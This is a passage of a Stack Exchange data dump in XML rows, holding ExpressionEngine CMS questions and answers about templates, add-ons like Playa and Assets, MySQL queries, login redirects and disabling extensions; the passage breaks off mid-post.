  <row Id="9240" PostTypeId="2" ParentId="9238" CreationDate="2013-04-11T16:02:46.057" Score="1" Body="&lt;p&gt;Try changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;optin_check&quot; name=&quot;optin_check&quot; value=&quot;Yes&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;optin_check&quot; name=&quot;optin_check[]&quot; value=&quot;Yes&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-11T16:02:46.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9241" PostTypeId="1" CreationDate="2013-04-11T16:19:37.020" Score="2" ViewCount="175" Body="&lt;p&gt;Is there a way to capture in PHP a post processed version of an embed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a footer embed template.  There are 2 rendered states for the footer, user logged in and not.  What I would like to do is cache the rendered version of the footer so that it does not need to be reprocessed on every page.  The only time that EE processing needs to be done to rerender the template is when the user changes their login state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot create 2 footers and then do template caching them through EE because the footer contains information unique to each user so the caching needs to be done on per session basis and controlled through PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I would like to do is capture the rendered state of the footer into a PHP variable and then store it into memcache.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1321" LastActivityDate="2013-04-15T15:43:25.083" Title="Capturing post processed template into PHP variable" Tags="|templates|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9242" PostTypeId="2" ParentId="9207" CreationDate="2013-04-11T16:27:24.850" Score="1" Body="&lt;p&gt;Edit again!  jauses - can you try changing line 1324 in ft.assets.php file from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (! $data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (! $data &amp;amp;&amp;amp; $this-&amp;gt;var_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?  That should fix this up for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-04-12T17:41:41.040" LastActivityDate="2013-04-12T17:41:41.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9243" PostTypeId="1" AcceptedAnswerId="9245" CreationDate="2013-04-11T16:31:10.453" Score="1" ViewCount="59" Body="&lt;p&gt;I'm sure this is a simple one, but it's got me stumped so I'd appreciate your thoughts. Here goes...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm displaying a selection of images&lt;/li&gt;&#xA;&lt;li&gt;The order of these images is controlled by using orderby=&quot;file_index&quot; &amp;amp; sort=&quot;asc&quot; in the channel entries tag&lt;/li&gt;&#xA;&lt;li&gt;The file index field contains a number (i.e. 1, 2, 3 etc,), but is not changeable (i.e. we can't use two digit numbers for all images)&lt;/li&gt;&#xA;&lt;li&gt;The problem is that when there's more than ten images, they are being output as 1,10,11,12, 2, 3, 4... rather than 1, 2, 3, 4... In other words, the teens are being put before the 2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any ideas on how to make the images display in the correct order?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-04-11T16:46:16.223" Title="How to get order to go 1, 2, 3, 4... rather than 1, 10, 11, 12, 2, 3, 4" Tags="|channel-entries|number-format|order-info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9244" PostTypeId="2" ParentId="9231" CreationDate="2013-04-11T16:33:34.553" Score="1" Body="&lt;p&gt;Because of parse order, the ip_to_nation module just works on channel:entries or comments. The necessary {ip_address} variable is a global variable, which means it is parsed after the variables of ip_to_nation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use &lt;a href=&quot;http://devot-ee.com/add-ons/ipgeo&quot; rel=&quot;nofollow&quot;&gt;IPGeo&lt;/a&gt; add-on to get the visitor's location info based on IP address like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ipgeo}&#xA;&#xA;{if country == 'India'}&#xA;&#xA;{exp:redirecturl url=&quot;http://examplesite.in&quot;}&#xA;&#xA;{/if}&#xA;&#xA;{/exp:ipgeo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see for the redirect, I used plugin &lt;a href=&quot;http://devot-ee.com/add-ons/redirecturl-ee2-plugin&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/redirecturl-ee2-plugin&lt;/a&gt; as standard global variable {redirect} wouldn't work here.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="343" LastEditDate="2013-05-12T07:08:10.280" LastActivityDate="2013-05-12T07:08:10.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9245" PostTypeId="2" ParentId="9243" CreationDate="2013-04-11T16:46:16.223" Score="2" Body="&lt;p&gt;You need to go to that custom field settings (Edit Field) and select &quot;Field Content&quot; as &quot;Number&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-11T16:46:16.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9246" PostTypeId="1" CreationDate="2013-04-11T16:56:51.343" Score="0" ViewCount="115" Body="&lt;p&gt;I have a Query tag to output Matrix data for various entries. One of the Matrix fields is an Assets field, which is linked to files stored on Amazon S3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the Assets database, this fields data does not hold the full Amazon S3 path. This path seems to be stored within a JSON encoded array in the field Settings in exp_assets_sources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So therefore I am stuck as to how to get the full S3 path within my Query to link to the Amazon file. Anyone know? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-04-11T17:13:38.867" Title="How would one output a Assets File stored on Amazon S3, within a Query tag?" Tags="|assets|pixelandtonic|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9247" PostTypeId="2" ParentId="9246" CreationDate="2013-04-11T17:13:38.867" Score="1" Body="&lt;p&gt;Answered my own question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling PHP and then using json_decode of course:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query&#xA;    sql=&quot;SELECT&#xA;            md.*,&#xA;            ct.title AS title,&#xA;            ct.url_title AS url_title,&#xA;            af.file_id,&#xA;            aso.settings AS settings&#xA;        FROM exp_matrix_data md&#xA;        LEFT JOIN exp_channel_titles ct ON md.entry_id = ct.entry_id&#xA;        LEFT JOIN exp_assets_selections ass ON md.row_id = ass.row_id&#xA;        LEFT JOIN exp_assets_files af ON ass.file_id = af.file_id&#xA;        LEFT JOIN exp_assets_sources aso ON af.source_id = aso.source_id&#xA;        WHERE md.col_id_5 = 'xxxxxx'&#xA;}&#xA;&#xA;&amp;lt;?php&#xA;$settings = json_decode('{settings}');&#xA;$url_prefix = $settings-&amp;gt;url_prefix;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $url_prefix;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-04-11T17:13:38.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9249" PostTypeId="2" ParentId="9209" CreationDate="2013-04-11T19:30:12.017" Score="2" Body="&lt;p&gt;Such seemingly random strings can be &lt;a href=&quot;https://expressionengine.stackexchange.com/a/4995/141&quot;&gt;a symptom of the Stash extension not being activated&lt;/a&gt;. Worth a check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those strings are used by Stash as placeholders getting replaced by the stash extension. If the stash extension is not activated, they never get replaced.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-04-11T19:30:12.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9250" PostTypeId="1" AcceptedAnswerId="9295" CreationDate="2013-04-11T19:32:57.460" Score="0" ViewCount="467" Body="&lt;p&gt;I am working with an add-on that does an insert into a custom member data field and I am getting the following kind of error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1364&#xA;&#xA;Field 'm_field_id_2' doesn't have a default value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My EE install is currently at 2.5.2 and it was upgraded from EE 1.6.9. In checking the &lt;code&gt;exp_member_data&lt;/code&gt; table in database I can see that none of the custom field columns are set up with default values or allowed to be set to NULL. This includes even custom fields I set up after upgrading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it default behaviour for EE to create new &lt;code&gt;exp_member_data&lt;/code&gt; columns to not allow NULL and to have no default set? Seems like it shouldn't be.&lt;/li&gt;&#xA;&lt;li&gt;Did something happen to my &lt;code&gt;exp_member_data&lt;/code&gt; table in my upgrade so it is not set up correctly for EE2?&lt;/li&gt;&#xA;&lt;li&gt;Am I safe to simply set the columns in the &lt;code&gt;exp_member_data&lt;/code&gt; table to allow NULLS and set the default value to NULL?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-04-12T17:57:29.763" Title="Error Number: 1364 on insert to exp_member_data" Tags="|members|mysql|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9251" PostTypeId="1" CreationDate="2013-04-11T20:18:21.407" Score="2" ViewCount="144" Body="&lt;p&gt;this might be a simple fix, but it certainly doesn't seem to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built a EE-based web application, and as is part and parcel with web applications, users are required to log into the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With our application, users are often sent links like profile links, sort of like a social network works. However, at the moment, when users click on the links, they are required to login, and then they are brought to a generic template after logging in. I've tried using this &lt;a href=&quot;http://devot-ee.com/add-ons/preevious&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/preevious&lt;/a&gt; but the value is coming up as blank regardless of how many times I try to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Realistically, this is a massive deterrent for our users. If they are sent a link to a page, they need to log into the system, and then go back and click on the link in an email or via whatever other medium they were sent the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or input would be massively appreciated. By the way, we are using standard access restrictions on this web app, which are set in the Template Manager. So if I try to go to domain.com/contacts, it will redirect me to domain.com/login and then once I login it will bring me to domain.com/home because that is our index page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers in advance, &#xA;Conor&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-04-12T10:24:53.190" Title="How to get attempted url before access restriction?" Tags="|redirects|pages|restricted-area|redirection|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9252" PostTypeId="1" AcceptedAnswerId="9256" CreationDate="2013-04-11T20:23:47.370" Score="3" ViewCount="1589" Body="&lt;p&gt;Installed a new module and now the site is insanely slow - stylesheets in the CP aren't loading even, 5-10 minute wait per page load. Is there any way to disable all the plugins at once? Deleting them from the third_party folder didn't help.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-04-11T21:19:25.920" Title="Is there a quick way to disable all plugins?" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9253" PostTypeId="1" CreationDate="2013-04-11T20:40:35.947" Score="1" ViewCount="55" Body="&lt;p&gt;Whenever a user hits the back button in Google Chrome, if the previous page was password protected - it asks the user to login again even though they already are. Refreshing the page does display the protected content, but this is not a great experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else experiencing anything similar with the last couple Chrome releases?&lt;/p&gt;&#xA;" OwnerUserId="1324" LastActivityDate="2013-05-12T09:22:10.763" Title="Chrome Back button issues" Tags="|ee2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9254" PostTypeId="2" ParentId="6204" CreationDate="2013-04-11T21:19:05.060" Score="1" Body="&lt;p&gt;There is a new(ish) version of P&amp;amp;T Field Pack -- available on Github. &lt;a href=&quot;https://github.com/pixelandtonic/pt_field_pack/archive/master.zip&quot; rel=&quot;nofollow&quot;&gt;Download ZIP from Github&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/latest_version_of_matrix_loading_slow_in_ee_2_5&quot; rel=&quot;nofollow&quot;&gt;mentioned by Brandon on a P&amp;amp;T Get Satisfaction thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just did the upgrade. The instructions (Docs are included with the Zip) tell you that if you are upgrading, first disable the P&amp;amp;T FieldPack extensions. Then install the latest in your expressionengine/third_party folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voilà! Your Template Debugging will no longer have lines like this in it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="143" LastActivityDate="2013-04-11T21:19:05.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9255" PostTypeId="1" CreationDate="2013-04-11T21:19:22.320" Score="2" ViewCount="403" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {exp:playa:parents}&#xA;        {title} returns title from the entry&#xA;    {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I remove the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, then the playa returns the correct data. However, I need info from the entry and then I want to loop through all the parents in another channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, think of the entry as a product, and then return all the FAQs about that product. The relationship is made on the FAQ not the product.&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="373" LastEditDate="2013-04-12T15:11:08.953" LastActivityDate="2013-05-12T15:22:10.017" Title="{exp:playa:parents} returning value of {exp:channel:entries} that it's nested within" Tags="|add-on|playa|pixelandtonic|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9256" PostTypeId="2" ParentId="9252" CreationDate="2013-04-11T21:19:25.920" Score="1" Body="&lt;p&gt;You can disable all &lt;strong&gt;extensions&lt;/strong&gt; (which is the likely culprit, as a module doesn't have the power to inject anything into &lt;em&gt;all&lt;/em&gt; of the control panel) by editing your &lt;strong&gt;/system/expressionengine/config/config.php&lt;/strong&gt; file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This temporarily stops all extensions from loading, but does not actually uninstall them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;em&gt;uninstall&lt;/em&gt; any accessory, extension, or module, simply delete the appropriate row(s) from &lt;code&gt;exp_accessories&lt;/code&gt;, &lt;code&gt;exp_extensions&lt;/code&gt;, and &lt;code&gt;exp_modules&lt;/code&gt; respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to turn on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-template-debugging&quot; rel=&quot;nofollow&quot;&gt;Template Debugger&lt;/a&gt; first though, to try and find the culprit that way.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-04-11T21:19:25.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9257" PostTypeId="1" CreationDate="2013-04-11T22:17:48.213" Score="1" ViewCount="52" Body="&lt;p&gt;I have installed MSM and set up three sites, “live”, “beta” and “internal”.&#xA;Edited the “live” site, created a default template group called “Live” and edited the index template in that group.&#xA;Now I’m editing the “beta” site.  I created a default template group there called “Beta” and edited the index template in that group.&#xA;The problem is: when I go to the URL for the “beta” site, I still get shown the index template for the “live” site!&#xA;How do I debug this problem?&lt;br&gt;&#xA;I have tried changing uri_protocol to PATH_INFO in the live site’s config.php and it did not fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="1058" LastActivityDate="2013-05-12T11:22:10.437" Title="MSM site - cannot get addon site to use its own template" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9258" PostTypeId="1" AcceptedAnswerId="9259" CreationDate="2013-04-11T22:44:18.013" Score="1" ViewCount="137" Body="&lt;p&gt;I'm trying to copy some channel data from the &lt;code&gt;exp_channel_titles&lt;/code&gt; table into Better Workflow's &lt;code&gt;exp_ep_entry_drafts&lt;/code&gt; table. I want to copy the data by matching the entry_ids, which already exist in both tables. So the status for entry ID 42 in &lt;code&gt;exp_channel_titles&lt;/code&gt; will go into the status column for entry ID 42 in &lt;code&gt;exp_ep_entry_drafts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very much a MySQL n00b, but here's what I came up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO&#xA;  exp_ep_entry_drafts (&#xA;    status,&#xA;    url_title,&#xA;    expiration_date,&#xA;    entry_date&#xA;  )&#xA;SELECT &#xA;  titles.status,&#xA;  titles.url_title,&#xA;  titles.expiration_date,&#xA;  titles.entry_date&#xA;FROM &#xA;  exp_channel_titles titles&#xA;JOIN &#xA;  exp_ep_entry_drafts&#xA;ON&#xA;  titles.entry_id = exp_ep_entry_drafts.entry_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run that in the EE query form, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function num_rows() on a non-object in /path/to/the/system/expressionengine/controllers/cp/tools_data.php on line 482&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-04-11T22:57:38.687" Title="Copy Data from exp_channel_titles Based on entry_id" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9259" PostTypeId="2" ParentId="9258" CreationDate="2013-04-11T22:57:38.687" Score="2" Body="&lt;p&gt;I have no idea what the num_rows() thing is about -- that's not an SQL error, it's an EE error that says it's having trouble running $this-&gt;EE-&gt;db-&gt;query -- but in any case, the query above has several issues. It's an INSERT, which means it inserts new rows; what it sounds like you want is to update existing rows, which uses a (wait for it!) UPDATE query. It also joins to the table you're INSERTing into, which generally isn't allowed, so it may be what's causing the EE error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE &#xA;    exp_ep_entry_drafts ed, exp_channel_titles t&#xA;SET&#xA;    ed.status = t.status,&#xA;    ed.url_title = t.url_title,&#xA;    ed.expiration_date = t.expiration_date,&#xA;    ed.entry_date = t.entry_date&#xA;WHERE&#xA;    ed.entry_id = t.entry_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="139" LastActivityDate="2013-04-11T22:57:38.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9260" PostTypeId="2" ParentId="9251" CreationDate="2013-04-11T23:09:45.360" Score="1" Body="&lt;p&gt;There are a few ways to do this, I find the easiest to be, to make the login page, available everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, we frequently have the login available from the Navigation Bar or one of those TopNav bars, say like Twitter. Generally, in either case, we use either CSS hide/display or an overlay window to display the login option. And have the login return them to the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've done this using &lt;a href=&quot;http://devot-ee.com/add-ons/user&quot; rel=&quot;nofollow&quot;&gt;Solspace's User&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/authenticate&quot; rel=&quot;nofollow&quot;&gt;Authenticate&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, and &lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;SafeCracker Registration&lt;/a&gt;. I'm certain any of the other add-ons for membership or registration will also allow you to do it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, speaking, if your login is available from &lt;strong&gt;ANYWHERE&lt;/strong&gt;, then you don't really have to worry about re-directing the user back to where they came from. I like using FancyBox or another overlay script to provide the fields to enter in username and password, log them in, then drop them back onto the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even without an add-on, you can set-up pages that require login access to display the login, when the user isn't logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the built-in Member Login Form, see &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/#login-form-tag&quot; rel=&quot;nofollow&quot;&gt;Login Form Tag&lt;/a&gt;&lt;/strong&gt;. You can set-up something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:member:login_form return=&quot;{site_url}/{segment_1}/{segment_2}/{segment_3}&quot;}&#xA;&#xA;     &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;Username&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;     &amp;lt;/p&amp;gt;&#xA;     &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;          &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;     &amp;lt;/p&amp;gt;&#xA;     {if auto_login}&#xA;          &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot;&amp;gt; Auto-login on future visits&amp;lt;/p&amp;gt;&#xA;     {/if}&#xA;&#xA;     &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;anon&quot; value=&quot;1&quot; checked=&quot;checked&quot;&amp;gt; Show my name in the online users list&amp;lt;/p&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='member/forgot_password'}&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA; {/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This form combined with the page logic like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged in}&#xA;   {embed=&quot;include/mypage&quot;}&#xA;{if:else}&#xA;   {embed=&quot;include/login}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should work.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-11T23:09:45.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9261" PostTypeId="1" AcceptedAnswerId="9296" CreationDate="2013-04-12T00:13:58.567" Score="1" ViewCount="178" Body="&lt;p&gt;I am building a site where the URLs of a blog entry look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/2012/04/url_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am building out these urls by using &lt;code&gt;entry_date&lt;/code&gt;. My links look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/{entry_date format=&quot;%Y&quot;}/{entry_date format=&quot;%m&quot;}/{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The one thing I have not been able to figure out is how to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_linking.html&quot; rel=&quot;nofollow&quot;&gt;Next/Previous Entries&lt;/a&gt; tags. Entry date values are not available in this tag pair so I have no way of grabbing the date values of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2013-04-13T15:23:22.520" Title="Previous/Next Entries with custom URL" Tags="|next-prev|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9262" PostTypeId="1" AcceptedAnswerId="9267" CreationDate="2013-04-12T00:18:00.570" Score="0" ViewCount="65" Body="&lt;p&gt;I'm helping a client quote an EE 1.x to 2.x upgrade and having trouble getting upgrading pricing from EE 1.x to 2.x. Before the site was changed my notes had the upgrade price as $49.95, is this still true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, is the upgrade price for CartThrob for EE 1.x to 2.x still $149?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nada on both sites, hope someone in here is in the know :)&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-04-12T07:55:24.217" Title="Are prices for EE 1.x to EE 2.x upgrade &amp; CartThrob upgrade still $49.95 &amp; $149?" Tags="|cartthrob|ee1|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9263" PostTypeId="1" AcceptedAnswerId="9264" CreationDate="2013-04-12T04:19:37.133" Score="5" ViewCount="289" Body="&lt;p&gt;With the overall goal of reducing page load time (Memory, Execution Time in template debugging), how can I rework my Playa templates so as to “shut off” the Playa Extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template debugging shows that I have 511 lines like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The largest batch of them, 435 at a stretch, adds 3 seconds and 5MB to page execution time. And &lt;em&gt;of course&lt;/em&gt; those 511 lines of calls appear on a section of the site that isn't using Playa. I've already gotten rid of similar calls for Matrix and P&amp;amp;T Field Packs by downloading the latest Field Pack off Github)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this (old) P&amp;amp;T &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/long_load_times_in_playa_matrix#reply_10515715&quot; rel=&quot;nofollow&quot;&gt;Support discussion thread&lt;/a&gt;, Brandon Kelly mentions that it's possible, by adding A Thing Or Two to your Playa tags, to disable the Playa extension. (I've done that with Matrix and, Field Pack, thanks to the latest version of them) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brandon: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You’d just have to remember to set entry_id=&quot;{entry_id}&quot; on any Playa&#xA;  tags inside {exp:channel:entries}, as well as set the var_prefix=&#xA;  param: &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;some_field&quot; entry_id=&quot;{entry_id}&quot; var_prefix=&quot;child&quot;}&#xA;  {child:title}&#xA;  ...&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;How do I apply that in this situation where I have a matrix tag pair and all that image replacement stuff going on? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;thankyou&quot; &#xA;    orderby=&quot;date&quot; &#xA;    sort=&quot;desc&quot; &#xA;    limit=&quot;1&quot;&#xA;}&#xA;&amp;lt;h2&amp;gt;Thank you {title}&amp;lt;/h2&amp;gt;&#xA;{thanks_body}&#xA;&#xA;{!-- Playa Field tag pair: --}&#xA;{thanks_related_entries limit=&quot;8&quot;} &#xA;&#xA;&amp;lt;div class=&quot;related blurb&quot;&amp;gt;&#xA;{exp:lg_replace:haystack needles=&quot;{mtrx_images backspace=&quot;1&quot;}image_{row_count}|{/mtrx_images}&quot;}&#xA;&#xA;&amp;lt;h4&amp;gt;&#xA;{if channel_id==&quot;1&quot;}&amp;lt;a href=&quot;/news/view/{url_title}&quot;&amp;gt;{/if}&#xA;{if channel_id==&quot;4&quot;}&amp;lt;a href=&quot;/articles/view/{url_title}&quot;&amp;gt;{/if}&#xA;{title}&amp;lt;/a&amp;gt; &amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p 